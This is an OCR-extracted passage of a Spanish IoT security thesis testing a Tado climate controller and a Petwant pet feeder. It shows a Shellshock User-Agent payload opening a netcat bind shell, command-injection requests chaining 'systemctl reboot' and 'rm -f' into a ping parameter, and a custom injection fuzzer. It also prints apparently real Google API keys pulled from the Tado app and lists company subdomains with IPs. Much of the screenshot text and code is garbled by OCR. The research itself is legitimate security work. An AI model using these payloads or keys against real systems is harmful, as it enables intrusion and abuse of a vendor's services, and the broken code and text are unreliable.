Dir WWWisafel 200 8351
Dir MWww/ 200 8351
Dir TWww /safe/ 200 8351
File foipr 200 727
File Iwww/safefoipr 200 727
File MWWWisafelolpr 200 727
Current speed: 188 requests/sec (Select and right click for mere options)
Average speed: (T) 121, (C) 179 requests/sec
Parse Queue Size: 0 Current number of running threads: 100
Total Requests: 893166/3087673 100 Change

Time To Finish: 03:24:19
ol Il Pause [ Stop

Program running again Www/safefintv/

FIGURA 21 - DIRBUSTER EN ACCION

Tras unos minutos de trabajo, Dirbuster ya ha encontrado algun directorio y archivo como se
puede apreciar en la imagen.



{
“serialnunber”: “WRODOOFTOL013319333632",

“firmeware": "45.6 (2886)",
"wversions": "1.0.0.10 67108880 1.4.0.1 1.0.3.34 2.6.0.5 13107",
"wlan":[

*ssid": "ONDBET1®,

"type": "WPA2",
"bssid": "dc537ca78Sec”,
“resit: -81

o

MOVISTAR _BBIA™,
L

H NS?%ODSﬂth' .
-63

"ssid": "MOVISTAR_ABGF",

“type": "WPA2",

"bssid": "d47bbO55aBT0",
-78

Lemelel

" "y "wodafoneCC68",
. “type®: " b
"bssid": "caB72fE9ccTa",
“rssi": -71
bl
“ssid": "MOVISTAR BGAE",
L "type": "WPA®,
"bssid": "f88e8Scd8Gaf”,
"rssi": -69

"ssid": "MOVISTAR BGAE EXT™,
"type": "WPA2",

OWASP DirBuster 1.0-RC
File Options About Help

http:/192.168.1.1:80/

@ Scan Information * Results - List View: Dirs: 3 Files:

Type Found
Dir !/
Dir Tl
File flist.json
File Twwwilist. json
File fstatus.json
File fwwwistatus. json
Dir W
File MWWWIsE. json
Dir fwwwrjsafe)
File MWWW/status. son
File fList.json
File fwwwiList.json

Current speed: 0 requests/sec

Average speed: (T) 44, (C) 67 requests/sec
Parse Queue Size: 0

Total Requests: 64058/2646577

Time To Finish: 10:42:25

T

"bssid": "18da4311817b", -
"rssi: -81

Program paused|

"ssid": "JAZZTEL_DnHA®,
“tvpe': “WPA2",

FIGURA 22 - JSON DESCUBIERTO CON DIRBUSTER

Wfuzz es una herramienta destinada para la enumeracién de archivos y directorios alojados en
una aplicaciéon Web. Esta desarrollada por Edge-Security realiza ataques de fuerza bruta para la
enumeracion de directorios, servlets, scripts y archivos en el webserver.

Estos ataques son realizados mediante peticiones GET y POST que ademas de verificar la
existencia de dichos recursos, posibilita la identificacién de inyecciones del tipo SQL LDAP y XSS,
entre otras.

wfuzz —c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt —-hc 404 -R 3
http://192.168.1.1/FUZZ

= -c: Opcidn para que imprima la salida con colores

= -w: Opcidn para especificar el diccionario que se va a usar

= --hc: Opcidn para que las respuestas 404 del servidor no las imprima por pantalla
= -R: Se especifica el nivel de recursividad/profundidad



share Alike 3

James Fisher

FIGURA 23 - WFUzz FuzzING

Después de haber pasado estas dos herramientas, se ha encontrado que existe un archivo en
“/oipr’ y otra vez el mismo archivo en “/www/safe/oipr’, que resulta ser un archivo que
anteriormente se habia subido al equipo a través del campo de certificados Wi-Fi pero con otro
nombre completamente diferente. Por lo tanto todos los archivos que se suban a través de ese
campo aparentemente son renombrados y guardados sin ninguna extensién, y son
interpretados en el navegador como texto ASCII.

Viendo que el servidor ha renombrado el archivo subido a una serie de caracteres
aparentemente aleatorios, lo que se ha hecho es probar fuerza bruta con letras y nimeros con
una longitud de entre 4 y 6 caracteres desde el Dirbuster.

Como se puede ver en la siguiente imagen, haciendo este tipo de fuerza bruta, se descubren
mas archivos que se habian subido a través del campo de certificados al servidor.



OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing e ® 0
File Options About Help

http://192.168.1.1:80/
@ Scan Information ' Results - List View: Dirs: 0 Files: 13, Results - Tree View /N Errors: 107

web)
Type Found Response Slze
_E‘J 2
File fattd 200 9075
File fatte 200 9075
File /bda2 200 194
File fbda3 200 194
File /bdaa 200 1995382
File /bdab 200 199538 |
File fevmB 200 147|7
File ifqre 200 148
File fiqr7 200 148
File foipg 200 727 .
File foipr I} 200 727
File fqawf 200 552 8
File /qawg 200 352 =
Current speed: 122 requests/sec (Select and right click for more options)
Average speed: (T) 106, (C) 118 requests/sec
Parse Queue Size: 0 Current number of running threads: 20
Total Requests: 1061761/161206277763 20 | Change

Time To Finish: 15811 Days

= 00 Pause || O stop

Program running again ithr

FIGURA 24 - OWASP DIRBUSTER BRUTEFORCING (2)

ShellShock Exploit (DHCP y User-Agent):

Esta vulnerabilidad esta relacionada en cémo Bash procesa variables del entorno dictadas por
el sistema operativo o bien por un programa que llama a un script. Si Bash ha sido configurado
como el intérprete de comandos por defecto, puede ser usado por hackers contra servidores y
otros dispositivos Unix y Linux via web, SSH, telnet o cualquier otro programa que ejecute scripts

en Bash.

Aprovechando que se puede hacer de servidor DHCP para proporcionarle direccién IP y conexién
a internet a través de un punto de acceso falso, se va a intentar explotar la vulnerabilidad
Shellshock a través de una respuesta DHCP del servidor, para ello se va a modificar el archivo de

configuracién del servidor DHCP “dnsmasq”:

interface=wlanl
dhcp-rang 0.0.10,10.0.0.20
dhcp-option-force=100, ()

(

Log-quer :»_‘E

FIGURA 25 - CONFIGURACION DE DNSMASQ



http://es.wikipedia.org/wiki/Variable_de_entorno

= root@FABAD

FIGURA 26 - ESPERANDO CONEXION CON NETCAT

También se va a intentar explotar la misma vulnerabilidad a través del “User-Agent” del
navegador aprovechando que tiene aplicacidon web, como por ejemplo:

i Target I Proxy r Spider I Scanner
’ Repeater T Sequencer I Decoder I Comparer I Extender I Project optio

NetHunter [ Most Visitedv [l _[ﬂ ]

I Raw | Headers IH&)( ‘|

. GET / HTTR/1.1
Security TYPe  |Host: 192,15k
user-Agent:f{) { :; }; nc -lp 8888 -e /binsbash
WPA / WPA2 JAccept: tex’ n n n/xml;q=0.9,*/*:q=0.8
Accept-Language: en-US,en;q=0.5
SsSID Connection: close
Cache-Control: max-age=0

Password

FIGURA 27 - SHELLSHOCK EN CABECERAS HTTP EN BURP SUITE

En ambos casos no se han obtenido resultados, por lo que la version de Bash que lleva
incorporada no es vulnerable.

WebServer v1.0:

Buscando mas en profundidad sobre el mddulo Wi-Fi CC3200MOD, resulta que el fabricante
(Texas Instruments) es el creador del backend del servidor web, proporcionando al programador
del mdédulo (Tado) solo la posibilidad de modificar la interfaz web y gestionar las peticiones que
se van a querer generar hacia el backend del servidor a través de su interfaz, para que este a su
vez se lo pase luego al sistema de ficheros.

Segun la documentacién del servidor web que lleva implementado el mddulo, éste solo puede
acceder a los directorios que se ven en la siguiente imagen:



For security purposes, the web server can access only the following root folders onlthe file system:
- www/
- wwwi/safe/

FIGURA 28 - ACCESO LIMITADO DEL SERVIDOR WEB

(Estos son justo los directorios que han dado una respuesta “200 OK” cuando se hizo fuzzing)
Todos los recursos por defecto que vienen con el servidor, han sido deshabilitados por Tado.

En la documentacién del fabricante, viene detallada una API, en la que estan todas las posibles
peticiones (GET o POST) que se le pueden hacer al servidor. Entre todas ellas hay una peticién
POST que llama un poco mas la atencién que las otras, que es la de la posibilidad de que el
equipo haga un “test” de ping.

» IP address

ping.html Start the ping test * Packet size
= Number of pings

Start ping test
_SLPTA IP address IP address of the remote device
_SLPTB Packet size In bytes (32 to 1472)
_SLPTC Number of pings 0 to unlimited, 1 to 255

FIGURA 29 - PARAMETROS DE LA PETICION POST AL SERVIDOR

Con todos estos datos, ya se sabe como hay que crear la peticion POST para comprobar que
efectivamente dispone de esa funcionalidad:

Request

| Raw | Params T Headers i Hex ]

POST /ping.html HTTP/1.1

Host: 192.168.1.1

User-Agent: Mozillas/5.0 (X11; Linux x86_64; rv:45.0) Gecko/201080101 Firefox/45.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;g=8.5

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.1/

Content-Length: 39

Connection: close

_SL P T.A=192.168.1.2

FIGURA 30 - CREANDO LA PETICION POST CON BURP SUITE

Y con el Wireshark se comprueba que efectivamente esa peticidon es tratada por el servidor web
como se esperaba:


http://www.ti.com/lit/ug/swru368a/swru368a.pdf
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62 80 —~ 55706 [SYN, ACK

(ping)
(ping)
(ping)
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request
reply
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reply
request
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FIGURA 31 - CAPTURA DE WIRESHARK DEL RESULTADO DE LA PETICION POST

Ahora que se sabe que el sistema ejecuta un ping, el siguiente paso es intentar que ejecute un
comando justo después del ping. Para ello se va a encadenar “ systemct/ reboot” después de la
direccion IP en la peticién POST.

Request

| Raw [ Params THeadam ]Hm{ ]

N

Host:

POST /ping.html HTTP/1.1
192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko,/20100101 Firefox/45.(
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/#%;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.1/
Content-Length: 39
Connection: close

_ SL_P_T.A=192.168.1.2;systemctl reboot]

FIGURA 32 - INYECCION DE COMANDOS DESDE BURP SUITE

También se ha probado encodeando la URL:

Request

| Raw [ Params THeadam ]H&l ]

Host:

POST /ping.html HTTP/1.1
192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux xB86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/shtml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;g=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.1/
Content-Length: 43
Connection: close

_ SL_P_T.A=192.168.1.2%3Bsystemct1%20reboot

FIGURA 33 - INYECCION DE COMANDOS DESDE EL BURP SUITE (2)



Después de haber probado ambos casos, no se aprecia ningun resultado en el equipo.

Se va a intentar hacer lo mismo (command injection), pero con otras peticiones POST que hay
en la documentacién y con otro tipo de comandos y “entrelazado” entre comandos, como por
ejemplo “rm —f 3agq9”, es decir, borrar el archivo con el nombre “3aq9” que se encuentra en la
raiz del servidor (“3ag9” es uno de los archivos que se descubrieron con el Dirbuster).

Para hacer todo esto, se ha desarrollado un Fuzzer a medida.

requests
termcolor colored
time

.baselURL

.action action

. parameters parameters
.payloads - payloads
.onlyOne onlyOne
.enlazado g -

Jwait 1

fullURL = self.baseURL + self.action
parametersPayload - {}

payload:
self.onlyDne:

param self.parameters.items():
param[@] self.onlyOne:
parametersPayload.update({param[@] : param[1] + self.enlazado + payload})

parametersPayload.update({param[@] : param[1]})

param self.parameters.items():
parametersPayload.update({param[@] : param[1] + self.enlazado + payload})
parametersPayload = self.parameters

cabeceras = {' "Mozi H H B) Gec 8181 Firefox

cabeceras)

aux - & .join([" " for (k <,V parametersPayload.iteritems()])
colored(™\n t ) r.url , ‘green’)
colored(”[Pay e
colored("[R : str(r.status_code), ‘yellow')

pay self.payloads:
self.sendPOST(pay)

time.sleep(self.wait)




__name__ " main_ ":

action P
parameters {"_SLPT.A:" 2*, *_SLPT.B":'512°, *

payloads - ['rm -f "y ° emctl reboot’]

Tado PostFuzzer(action,parameters, payloads)
Tado.Fuzz()

action “ap_ip config®

parameters_ AP {*_SL P :'18°, ° SL P N.P":°

parameters DHCP = {* SL P N.J" : ° .1.1e°}

Tado zzer(action,parameters_AP, payloads)
Tado.

Tade PostFuzzer(action,parameters_DHCP, payloads)
Tado.Fuzz()

", “red’)
), colored(e.args, 'red')

n", ‘yellow")

SCRIPT 2 - FUZZER PERSONALIZADO PARA EL SERVIDOR WEB

El script principalmente lo que realiza es probar en diferentes parametros de la documentacion
del servidor web, la inyeccion de comandos (en este caso, o borrar el archivo o reiniciar el
sistema). Para construir las peticiones POST que se envian al servidor, la libreria requests de
Python es de gran ayuda.

Para lanzar el script, simplemente ejecutar:

python PostFuzzing.py



FIGURA 34 - RESULTADOS DEL FUZZING

Una vez finalizado el script, no se aprecia que se haya podido ejecutar ningiin comando desde
el servidor.

3.6. Extraccion del Firmware

El firmware es un programa informatico que establece la Iégica de mds bajo nivel que controla
los circuitos electrdnicos de un dispositivo de cualquier tipo. Es el software que tiene directa
interaccion con el hardware, siendo asi el encargado de controlarlo para ejecutar correctamente
las instrucciones externas. Suele estar compuesto por el kernel, médulos del kernel y sistema de
ficheros comprimidos. Por eso, la extraccion del firmware en este tipo de investigaciones resulta
tan importante, ya que facilita la compresién de todo el software que lleva detras.

Después de buscar por su pagina web y mas sitios “no oficiales”, aparentemente, para este caso,
el inico método de obtener una copia del firmware es extraerlo de la memoria Flash que tenga
en el circuito, que es donde suele estar guardado el firmware en estos dispositivos.


https://es.wikipedia.org/wiki/Programa_inform%C3%A1tico
https://es.wikipedia.org/wiki/Circuito
https://es.wikipedia.org/wiki/Electr%C3%B3nica
https://es.wikipedia.org/wiki/Software
https://es.wikipedia.org/wiki/Hardware
https://fccid.io/2AE751

FIGURA 35 - CIRCUITO INTERNO DEL CLIMATIZADOR

3.6.1. Memoria Flash SPI

El firmware, generalmente suele estar almacenado en memorias flash (EEPROM), que funcionan
muy parecido a las memorias USB, son unidades de almacenamiento que permiten lectura y
escritura en multiples posiciones de memoria. Su uso en los dispositivos embebidos esta muy
generalizado, debido principalmente a su bajo coste y precio. Se suelen usar memorias de 4 u 8
MB, por lo que los recursos tienen que estar bastante optimizados.

Inspeccionando el circuito, solo se ve una memoria flash SPI, que corresponde con el modelo
Winbond W25X40CL de 4M-BIT.

FIGURA 36 - MEMORIA FLASH WINBOND DEL CIRCUITO


https://es.wikipedia.org/wiki/Memoria_flash

Para leer el contenido de la memoria es necesario software especifico, como Flashrom (un
software ya con bastantes afios pero que sigue teniendo actualizaciones de vez en cuando) o
spiflash (una utilidad de la libreria libmpsse). Ademds, hay que proporcionar alimentacidn de
manera independiente de 3.3V a la memoria y una placa que sea capaz leer las sefiales del chip
(SPI), como es la placa Shikra:

FIGURA 37 - PLACA THE SHIKRA

The Shikra es un dispositivo que permite al usuario interactuar (a través de USB) con distintos
interfaces de datos de bajo nivel, tales como: JTAG, SPI, 12C, UART, GPIO.

Con la hoja de caracteristicas de la memoria flash y la placa Shikra, se puede ver la disposicion
de los pines para poder realizar las conexiones pertinentes.

Datos de la estructura de pines de la memoria flash Winbond W25X40CL.:

s 1@ 8 | ] wc
pogo) [ 2 7 [——1 mow
mp [ 3 6 | 1 ax

GND [_| 4 s [_1 bpigo,

FIGURA 38 - PINADO DE LA MEMORIA FLASH WINBOND

Datos de la estructura de pines de la placa The Shikra:


http://www.xipiter.com/musings/using-the-shikra-to-attack-embedded-systems-getting-started
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FIGURA 39 - PINADO DE LA PLACA SHIKRA

En la siguiente imagen se pueden ver las conexiones hechas entre la memoria flash y la placa
Shikra (a la memoria ya des-soldada del circuito se le han soldado unos cables para facilitar las
conexiones):

FIGURA 40 - CONEXIONES ENTRE LA MEMORIA Y SHIKRA



FIGURA 41 - CONEXIONES ENTRE LA MEMORIA Y SHIKRA (2)

Como fuente de alimentacién de 3.3V se ha usado la RaspberryPi 2B, que entre los pines GPIO
de los que dispone se encuentran dos pines con alimentacién, uno a 5.0V y otro a 3.3V, por lo
que se ha aprovechado.

Nota: Para que la memoria flash se pueda leer correctamente, segln los datos del fabricante,
los pines #WP y /HOLD de la memoria no pueden quedarse “al aire”, tienen que estar
puenteados con VCC.

Una vez todo el circuito montado y la placa conectada al ordenador, se han utilizado los
siguientes comandos para leer el contenido del chip:

flashrom —p ft2232_spi:type=232H,port=A —r spidump.bin

= -pft2232_ spi:type=232H: Se especifica el tipo de chip que usa la placa Shikra
= -r:Se especifica que se quiere leer el contenido de la memoria y guardarlo en un archivo
(spidump.bin)

./spiflash.py —read=spidump.bin —size$({0x400000) —verify

= --read: Se especifica que se quiere leer el contenido de la memoria y guardarlo en un
archivo (spidump.bin)

= --size: El tamafio de la memoria a leer

= --verify: Verificacidn del contenido guardado con el contenido de la memoria

El software flashrom no ha detectado el tipo de memoria, por lo que le ha asignado una por
defecto, y como resultado se ha obtenido que la memoria esta vacia.

Con spiflash.py se ha conseguido hacer un volcado de la memoria y verificar que el contenido
gue se ha volcado es el mismo que contiene la memoria, pero al igual que en el caso anterior se
ha visto que estaba vacia.



root@FABADA: ~/Downloads/libmpsse-1.3/libmpsse-1.3/src/examples 150x18

.bin --size=§(

root@FABADA: ~ 150x18
itomatically.

FIGURA 42 - LECTURA DE LA MEMORIA FLASH WINBOND

root@FABADA: ~/Downloads/libmpsse-1.3/libmpsse-1.3/src/examples 150x18
Ft | |

FIGURA 43 - CONTENIDO HEXADECIMAL DEL VOLCADO DE LA MEMORIA

Este proceso se ha hecho tanto con la memoria en el circuito como con la memoria des-soldada
del circuito, por el hecho de que al estar en comunicacion con el circuito las sefales podrian
verse interferidas, pero los resultados han sido los mismos.

Al ver los resultados obtenidos, se ha optado por comprobarlo una vez mas pero en vez de
hacerlo con la placa Shikra, se ha hecho con la RaspberryPi 2B, que tiene unos pines GPIO y
algunos de ellos valen para leer una memoria flash SPI.
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FIGURA 44 - PINADO DE LA RASPBERRY PI12B

Una vez realizadas las conexiones necesarias entre la Raspberry y la memoria flash SPI, se ha
vuelto a usar flashrom.

flashrom -p linux_spi:dev=/dev/spidev0.0 -r test.rom

= -p linux_spi:dedv=/dev/spidev0.0: Se especifica el tipo de interfaz/chip que usa la
Raspberry Pi

3.6.2. Interfaz JTAG

En un intento mas por extraer el firmware, se puede apreciar que el circuito tiene dos interfaces
de 8 pines, aparentemente un interfaz JTAG.

Actualmente es utilizado para la prueba de sub-mddulos de circuitos integrados, y es muy util
también como mecanismo para depuracion de aplicaciones embebidas, puesto que provee una
puerta trasera hacia dentro del sistema.

Una interfaz JTAG es una interfaz especial de cuatro o cinco pines, disefiado de tal manera que
varios chips en un circuito puedan tener sus lineas JTAG conectadas en daisy chain, de tal forma
gue con solo conectarse al interfaz se pueda para acceder a todos los chips en un circuito
impreso. Los pines del interfaz son: TDI (Entrada de Datos de Testeo), TDO (Salida de Datos de
Testeo), TCK (Reloj de Testeo), TMS (Selector de Modo de Testeo) y TRST (Reset de Testeo) es
opcional.

En la siguiente imagen se puede apreciar como los interfaces del circuito del equipo tiene el
mismo nuimero de pines que el tipico interfaz JTAG de arquitecturas ARM:



ARM 10-PIN Interface

vee 1 2 ™S
GND 3 4 TCOLK
GND 5§ 6 TDO
RYCK 7 8§ TOI
GND 9 10 RESEY

FIGURA 45 - INTERFACES JTAG DEL CIRCUITO DEL CLIMATIZADOR

Se ha comprobado con un polimetro (un equipo que entre otras funcionalidades sirve para
medir tensién entre dos puntos), que los supuestos pines Vccy Gnd (1 y 5) coinciden con los del
interfaz del circuito aparentemente. Por lo que parece que va a tener el pinado de la imagen
superior derecha.

Ahora se realizan las correspondientes conexiones entre el interfaz JTAG y Shikra, y como
software para interactuar con ese interfaz se va usar OpenOCD (On-Chip-Debugger).

El comando que se ha usado es el siguiente:
openocd —f jtag_shikra.cfg

= -f: Especifica el archivo de configuracion para lanzar el programa

Donde “jtag_shikra.cfg” es un pequefo archivo de configuracién proporcionado por los
fabricantes de “Shikra” para usarlo con OpenOCD.

OpenOCD Config File for the Shikra:
#shikra.cfg

interface ftdi

ftdi_vid_pid Ox0403 Ox6014

ftdi_layout_init OxOcO8 Ox0Of1b
adapter_khz 2000
#end shikra.cfg

FIGURA 46 - ARCHIVO DE CONFIGURACION OPENOCD PARA SHIKRA

OpenOCD muestra por pantalla que las pruebas que ha hecho para reconocer los chips del
circuito a través del JTAG han resultado en error, con lo cual es probable que el fabricante del



circuito haya desactivado de alguna forma ese interfaz o los pines estén ofuscados y no en el
orden que se esperaba que tuviesen.

Para descartar que los pines tengan otro orden distinto al esperado, se necesita un herramienta
para poder reconocer cual es cual. Hay un software llamado JTAGEnum que funciona sobre una
placa Arduino, que muestra en qué posicidn estan los pines de JTAG que necesitamos (TDI, TDO,
TMS y TCK).

FIGURA 47 - PLACA FUNDUINO

Con las conexiones ya realizadas entre la placa de Arduino y el interfaz JTAG del circuito, se lanza
el programa cargado en la placa (a través del puerto serie) y se obtiene el siguiente resultado:

FIGURA 48 - RESULTADOS OBTENIDOS CON JTAGENUM

Volviendo a realizar las conexiones entre el interfaz JTAG del circuito y “Shikra” segin los
resultados obtenidos con JTAGEnum, se vuelven a obtener los mismos resultados, es decir,
nada.

Buscando mas informacidn sobre los componentes del circuito, se ve que en el médulo Wi-Fi
(CC3200MOD), esta integrado el microcontrolador ARM M4 y una memoria flash, por lo tanto,
lo mas probable es que el firmware esté se encuentre en esa memoria integrada.


https://github.com/cyphunk/JTAGenum
http://www.ti.com/product/CC3200MOD

FIGURA 49 - M6puLO WI-FI INTEGRADO CON MICROCONTROLADOR ARM

Al ver que el fabricante del médulo Wi-Fi (Texas Instruments) tiene una herramienta software
disponible para programar estos mddulos, se ha descargado, y se ha intentado realizar la
conexiéon a través del JTAG también, pero el resultado es que no pueden establecer
comunicacion (lo suyo seria conectarse directamente a las patitas del chip).

", CCS UniFlash - New Configuration (unsaved®) - [P =
— o

File Operation Window Help

Type yourfiterted here... CC310¢/CC32xx Flash Setup and Control
CC31:0¢/CC32:x Flash Setup and Control
4 System Files
fsys/mcuimg.bin oM e
fcert/ca.pem 4
/cert/client.pem
seertiaratekey - Format the serial flash on the target device.
User Files - Program the serial flash on the target device.
4 CC3Lo/CC32:x Config Groups
Device Role - Apply a service pack bundle to the device (Available for download here.)
Station
AP - Program a Gang Image to the device.
p2p - Display the bootloader version on the device.
Profiles
HTTP Server - Add a new file to the session file list.
DHCP Server
mDNS Client - List the files and their properties on the target device.
Smart Config

Gang Programming

& Console 52 *E~rijr=0

Mo consoles to display at this time.

FIGURA 50 - SOFTWARE DE TEXAS INSTRUMENTS PARA PROGRAMAR MODULOS



3.7. Android App

El objetivo de este punto es extraer informacién sensible/til de la aplicacién que tienen para
Android. Para ello se va a hacer un decompilado de la app mediante la herramienta Apkt-tool.

Apktool es una herramienta para ingenieria inversa de aplicaciones de terceros de Android.
Puede decompilar los recursos de forma casi perfecta y reconstruirlos después de hacer algunas
modificaciones.

apktool d tado_v4.1.2_apkpure.com.apk

= d: Decompile

I:
I:
I:
I:
I:
I:
L:
I:
I:
I:
I

I:

FIGURA 51 - ANDROID APKTooL

La herramienta realiza una extraccién del cédigo fuente (una aproximacion) y lo organiza en
distintas carpetas. De ellos se ha podido obtener la algo de informacién como:

Las distintas peticiones que hacer la aplicacién hacia los servidores de Tado (esto es util ya que
la comunicacién va cifrada y no se ha podido ver en claro):



firmatic

onfirmation"

FIGURA 52 - URLS ENCONTRADAS DENTRO DE LA APP DE ANDROID

Subdominios de Tado:

Subdominio Direccion IP
cidevelop.tado.com 54.154.250.56, 54.194.8.217
hvactool.tado.com 54.194.119.56

ci-hvactool.tado.com 52.30.126.175
my.tado.com 52.214.16.27, 52.18.224.21

TABLA 1 - SUBDOMINIOS DE TADO

Estos subdominios podrian ser un posible vector de ataque contra la organizacién con el objetivo
final de lograr acceso a mas sistemas expuestos en Internet, pero debido a la naturaleza del
proyecto se han realizado comprobaciones limitadas.

API Keys de Google:



=  Google API Key: AlzaSyCxJmxdVrH-6aRm7SG-iY7alB7guFGfhzY
=  Google Crash Reporting APl Key : AlzaSyCxJmxdVrH-6aRm7SG-iY7alB7guFGfhzY
*  Google Maps API Key: AlzaSyCPB6I0nPljdsT8A161081yq6wYWQ78AqQ

Si se hiciera un mal uso de estas claves se le podria provocar una Denegacion de Servicios (DoS)
en caso de que el limite de usuarios por APl no estuviera bien configurado, de forma que todo
el cddigo que haya sido implementado basado en los servicios de Google que proporcionan estas
APlIs no funcionaria.

3.8. Analisis de subdominios

Como se ha comentado anteriormente los subdominios pueden ser un vector de ataque para
lograr ver sistemas expuestos. Por ello, se ha realizado una investigacion mas a fondo de los
subdominios pertenecientes a Tado.

Entre los subdominios encontrados en la aplicacidon de Android y los subdominios encontrados
con la herramienta online Certificate Search (https://crt.sh/?q=%25.tado.com), esta es la

recopilacion de todos ellos y la direcciones IP:

Subdominio Direccion IP Servidor
api.tado.com - NOT FOUND

a.tado.com 67.199.248.12 Nginx
beta.tado.com - NOT FOUND

cloudci.tado.com
embeddedci.tado.com

78.46.49.70
136.243.154.176

Nginx 1.10.3 Ubuntu
Nginx 1.10.3 Ubuntu

embeddedciv2.tado.com 13.32.250.145 CloudFront
mobileci.tado.com 34.248.168.68 Nginx 1.10.3
support.tado.com 192.161.147.1 Cloudflare-nginx
webapp.tado.com - NOT FOUND
cidevelop.tado.com 54.154.250.56, 54.194.8.217 Nginx
ic.cidevelop.tado.com 34.251.163.6, 52.215.60.208 -
i.cidevelop.tado.com 52.50.92.163, 54.76.65.71 -
hvactool.tado.com 54.194.119.56 -
ci-hvactool.tado.com 52.30.126.175 -
my.tado.com 52.214.16.27,52.18.224.21 Nginx

ic.my.tado.com

i.my.tado.com

52.213.7.212,54.77.54.3
54.76.229.21,
54.154.133.246

TABLA 2 - ANALISIS DE SUBDOMINIOS TADO

Los servidores principales con los que se comunica el equipo son los siguientes:

= 54.77.54.3

-> ic.my.tado.com

= 52.213.7.212 ->ic.my.tado.com



Se han analizado todos ellos con EyeWitness para tener una captura de pantalla de la respuesta
del servidor, y aquellos que tienen un login aparentemente “dejado” son los siguientes:

= jc.my.tado.com

* i.my.tado.com

= jc.cidevelop.tado.com
= j.cidevelop.tado.com

EyeWitness estd disefiado para tomar capturas de pantalla de sitios web, servicios RDP y
servidores VNC abiertos, y para proporcionar informaciéon de las cabeceras del servidor e
identificar credenciales predeterminadas si es posible.

Se requiere autenticacidon

httpedfic.my.tado.com necesita un nombre de usuario y una
contrasefia.

Tu conexidn con este sitio web no es sagura

Nombre de usuario:

Contrasefia:

Iniciar sesion Cancelar

FIGURA 53 - AUTENTICACION DE UN SUBDOMINIO DE TADO


https://github.com/ChrisTruncer/EyeWitness

4. Dispensador de comida Inteligente

4.1. Descripciony funcionalidades

Este dispensador de comida inteligente de Petwant permite alimentar a nuestra mascota desde
cualquier parte. Gracias a su aplicacion para smartphone compatible con iOS y Android se puede
tener un control exhaustivo de sus comidas.

Es un sistema ideal para aquellas personas que tienen que dejar a su mascota varias horas o dias
sola, de esta forma se puede controlar lo que come y vigilarla en todo momento.

| O

PETWAE

FIGURA 54 - DISPENSADOR DE COMIDA DE PETWANT

Caracteristicas:

= El equipo permite fotografiar, grabar en video y hablar con nuestra mascota mientras
se le da de comer.

= Sistema de proteccidn anti cortes de luz: Se puede ademas instalarle unas baterias de
apoyo en su base. Con esto se asegura de que aunque haya un corte de corriente, tu
mascota podra seguir estando alimentada.

= Tanque de comida y cuenco extraibles.

=  Programacién de comidas: Para automatizar y llevar un registro de todas sus comidas.

= Permite introducir una tarjeta SD para guardar capturas de fotos o videos desde la
camara frontal.



4.2. Entorno de comunicaciones

Lo primero de todo es desplegar el dispositivo, para ello necesita ser configurado y alimentacidn.
Las credenciales del Wi-Fi solo pueden ser configuradas a través de la aplicacion de Android /
i0S.

Una vez que tenga configurada la red Wi-Fi a la que tiene que conectarse, el resto de parametros
de configuracidn como puede ser la programacion de comidas de la mascota o el acceso a la
camara y micréfono para grabar pueden ser accedidos desde la aplicacién para movil.

La app de Android estd disponible en http://www.petwant.com o desde Google Play. Este es el
diagrama de comunicaciones:

Mavil

Upp
)) Servidores Petwant
SN SIS

£

Dispensador de
Comida

FIGURA 55 - DIAGRAMA DE COMUNICACIONES PETWANT

Con todo el entorno ya definido, se puede comenzar a aplicar la metodologia descrita en el
apartado 2, el analisis de trafico, para ello habra que configurar el dispositivo de forma que se
conecte a una red Wi-Fi especificamente creada para el analisis del trafico y redirigir todo el
tréfico hacia un interfaz que disponga de conexidn a Internet.

4.3. Analisis del trafico de red

Una vez configuradas las credenciales del Wi-Fi al que se tiene que conectar a través de la
aplicacion de Android, el dispositivo obtiene la direccidn IP por DHCP e intenta conectarse con
sus servidores.

En la parte de la negociacion DHCP, se puede apreciar que el cliente DHCP que usa es udhcp
1.20.2, lo que indica que por detras el sistema usa BusyBox 1.20.2.


http://www.petwant.com/

Esta version de BusyBox tiene dos vulnerabilidades publicas:

CVE-2016-2148: Buffer overflow (basado en el heap) en el cliente DHCP al parsear la opcidn
DHCP “OPTION_6RD".

CVE-2016-2147: Integer Overflow que permite provocar una denegacién de servicios.

EAPOL 160 Key (Message 3 of 4)
EAPOL 113 Key (Message 4 of 4)

=TTITISTE
3576 1614.1311452.. Shenzhen_d2:9b:5a

] 3577 1615.289345 .0.0.0 255.255.255.255 322 DHCP Discover - Transaction ID 8x47a14951
3578 1615.2894191.. 0.0.0.0 255.255.255.255 DHCP 322 DHCP Discover - Transaction ID @x47a14951
3582 1618.2939924.. 10.0.0.1 10.0.0.17 ICMP 62 Echo (ping) request id=0x7282, seg=0/@, tt

Next server IP address: €.0.0.0
Relay agent IP address: €.0.0.0
Client MAC address: Shenzhen_d2:9b:5a (08:ea:40:d2:9b:5a)
Client hardware address padding: ©P008P0EE000000OEEEE
server host name not given
Boot file name not given
Magic cookie: DHCP
» Option: (53) DHCP Message Type (Discover)
» Option: (B61) client identifier
» Option: (57) Maximum DHCP Message Size
» Option: (55) Parameter Request List
(60) Vendor cla: identifier

Length: 12
Vendor class identifier:Judhcp 1.20.2

» Option: (255) End

FIGURA 56 - CAPTURA WIRESHARK MOSTRANDO EL CLIENTE DHCP

Una vez que obtiene direccidn IP, el equipo realiza consultas NTP a servidores del NIST para
establecer la hora y consultas DNS para resolver las direcciones de sus servidores.

Después comienza la comunicacién con sus servidores mediante un protocolo propio, basado
en UDP.

~G10Z010... 100.1%8.120.22 19.9.9. 17 ooT 500 10001 — 90129 LEI-Z00
3656 1739.8213752.. 47.90.57.61 10.0.0.17 upp 330 10001 — 55729 Len=288
3657 1739.8299480.. 112.124.112.116 10.0.6.17 TCP 74 80 — 58873 [SYN, ACK] Seq=8 Ack=1 Win=28960
